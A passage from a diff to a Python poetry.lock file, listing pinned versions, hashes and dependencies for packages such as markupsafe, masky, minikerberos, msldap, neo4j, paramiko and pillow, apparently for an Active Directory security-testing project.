"sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, + {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, + {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, + {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, +] + +[[package]] +name = "masky" +version = "0.2.1" +description = "Python library with CLI allowing to remotely dump domain user credentials via an ADCS" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b"}, + {file = "masky-0.2.1.tar.gz", hash = "sha256:973615bebbd9455a1c2a81a6cec626a2032ec2209f242e3e69a6226e4b60b6fc"}, +] + +[package.dependencies] +asn1crypto = "*" +colorama = "*" +cryptography = ">=3.5" +impacket = "*" +pyasn1 = "*" + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +optional = false +python-versions = ">=3.6" +groups = ["dev"] +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "minidump" +version = "0.0.24" +description = "Python library to parse Windows minidump file format" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, + {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, +] + +[[package]] +name = "minikerberos" +version = "0.4.9" +description = "Kerberos manipulation library in pure Python" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "minikerberos-0.4.9-py3-none-any.whl", hash = "sha256:3c3a422541bc66719bd495f89cb6f9e149fba8f1499b9f550aa88cd9aa532ffa"}, + {file = "minikerberos-0.4.9.tar.gz", hash = "sha256:095a980a1976adff48c3de1f73d75efe9b39da7214dc7c891a2363240716a9e7"}, +] + +[package.dependencies] +asn1crypto = ">=1.5.1" +asysocks = ">=0.2.18" +oscrypto = ">=1.3.0" +six = "*" +tqdm = "*" +unicrypto = ">=0.0.12" + +[[package]] +name = "msldap" +version = "0.5.15" +description = "Python library to play with MS LDAP" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "msldap-0.5.15-py3-none-any.whl", hash = "sha256:ee4224cf3964c386a52424a4b6d763a866b4d7ae6d5597a0af58611588668531"}, + {file = "msldap-0.5.15.tar.gz", hash = "sha256:b8024a2c0559158ec407cb6317201ecc83627248baaeecee5dfd4419ca773e3d"}, +] + +[package.dependencies] +asn1crypto = ">=1.3.0" +asyauth = ">=0.0.18" +asysocks = ">=0.2.11" +prompt-toolkit = ">=3.0.2" +tabulate = "*" +tqdm = "*" +unicrypto = ">=0.0.10" +wcwidth = "*" +winacl = ">=0.1.8" + +[[package]] +name = "neo4j" +version = "6.2.0" +description = "Neo4j Bolt driver for Python" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "neo4j-6.2.0-py3-none-any.whl", hash = "sha256:b87abdd13a5cc2e3bd51026926c2f20ac38fa3febe98c340520dce19e97388d0"}, + {file = "neo4j-6.2.0.tar.gz", hash = "sha256:e1e246b65b572bd8ea97f9e0e721b7d40a5ce53e53d0007c29aef63e4f9124d9"}, +] + +[package.dependencies] +pytz = "*" + +[package.extras] +numpy = ["numpy (>=1.21.2,<3.0.0)"] +pandas = ["numpy (>=1.21.2,<3.0.0)", "pandas[timezone] (>=1.1.0,<4.0.0)"] +pyarrow = ["pyarrow (>=6.0.0,<25.0.0)"] + +[[package]] +name = "netaddr" +version = "1.3.0" +description = "A network address manipulation library for Python" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "netaddr-1.3.0-py3-none-any.whl", hash = "sha256:c2c6a8ebe5554ce33b7d5b3a306b71bbb373e000bbbf2350dd5213cc56e3dbbe"}, + {file = "netaddr-1.3.0.tar.gz", hash = "sha256:5c3c3d9895b551b763779ba7db7a03487dc1f8e3b385af819af341ae9ef6e48a"}, +] + +[package.extras] +nicer-shell = ["ipython"] + +[[package]] +name = "netifaces" +version = "0.11.0" +description = "Portable network interface information." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"}, + {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4"}, + {file = "netifaces-0.11.0-cp27-cp27m-win32.whl", hash = "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1"}, + {file = "netifaces-0.11.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85"}, + {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea"}, + {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89"}, + {file = "netifaces-0.11.0-cp34-cp34m-win32.whl", hash = "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4"}, + {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4"}, + {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b"}, + {file = "netifaces-0.11.0-cp35-cp35m-win32.whl", hash = "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac"}, + {file = "netifaces-0.11.0-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be"}, + {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1"}, + {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0"}, + {file = "netifaces-0.11.0-cp36-cp36m-win32.whl", hash = "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7"}, + {file = "netifaces-0.11.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8"}, + {file = "netifaces-0.11.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246"}, + {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5"}, + {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9"}, + {file = "netifaces-0.11.0-cp37-cp37m-win32.whl", hash = "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150"}, + {file = "netifaces-0.11.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5"}, + {file = "netifaces-0.11.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c"}, + {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3"}, + {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4"}, + {file = "netifaces-0.11.0-cp38-cp38-win32.whl", hash = "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048"}, + {file = "netifaces-0.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05"}, + {file = "netifaces-0.11.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d"}, + {file = "netifaces-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff"}, + {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f"}, + {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1"}, + {file = "netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32"}, +] + +[[package]] +name = "oscrypto" +version = "1.3.0" +description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085"}, + {file = "oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4"}, +] + +[package.dependencies] +asn1crypto = ">=1.5.1" + +[[package]] +name = "packaging" +version = "26.3" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c"}, + {file = "packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79"}, +] + +[[package]] +name = "paramiko" +version = "5.0.0" +description = "SSH2 protocol library" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "paramiko-5.0.0-py3-none-any.whl", hash = "sha256:b7044611c30140d9a75261653210e2002977b71a0497ff3ba0d98d7edbf62f7c"}, + {file = "paramiko-5.0.0.tar.gz", hash = "sha256:36763b5b95c2a0dcfdf1abc48e48156ee425b21efe2f0e787c2dd5a95c0e5e79"}, +] + +[package.dependencies] +bcrypt = ">=3.2" +cryptography = ">=3.3" +invoke = ">=2.0" +pynacl = ">=1.5" + +[[package]] +name = "pefile" +version = "2024.8.26" +description = "Python PE parsing module" +optional = false +python-versions = ">=3.6.0" +groups = ["main"] +files = [ + {file = "pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f"}, + {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, +] + +[[package]] +name = "pick" +version = "2.6.0" +description = "Pick an option in the terminal with a simple GUI" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"}, + {file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"}, +] + +[package.dependencies] +windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""} + +[package.extras] +blessed = ["blessed (>=1.17.0)"] + +[[package]] +name = "pillow" +version = "12.3.0" +description = "Python Imaging Library (fork)" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a"}, + {file = "pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7"}, + {file = "pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f"}, + {file = "pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec"}, + {file = "pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468"}, + {file = "pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed"}, + {file = "pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1"}, + {file = "pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb"}, + {file = "pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f"}, + {file = "pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756"}, + {file = "pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6"}, + {file = "pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd"}, + {file = "pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd"}, + {file = "pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c"}, + {file = "pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5"}, + {file = "pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b"}, + {file = "pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a"}, + {file = "pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26"}, + {file = "pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965"}, + {file = "pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7"}, + {file = "pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9"}, + {file = "pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91"}, + {file = "pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c"}, + {file = "pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df"}, + {file = "pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f"}, + {file = "pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09"}, + {file = "pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec"}, + {file = "pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66"}, + {file = "pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35"}, + {file = "pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65"}, + {file = "pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3"}, + {file = "pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a"}, + {file = "pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e"}, + {file = "pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f"}, + {file = "pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8"}, + {file = "pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930"}, + {file = "pillow-12.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8"}, + {file = "pillow-12.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0"}, + {file = "pillow-12.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321"}, + {file = "pillow-12.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b"}, + {file = "pillow-12.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = 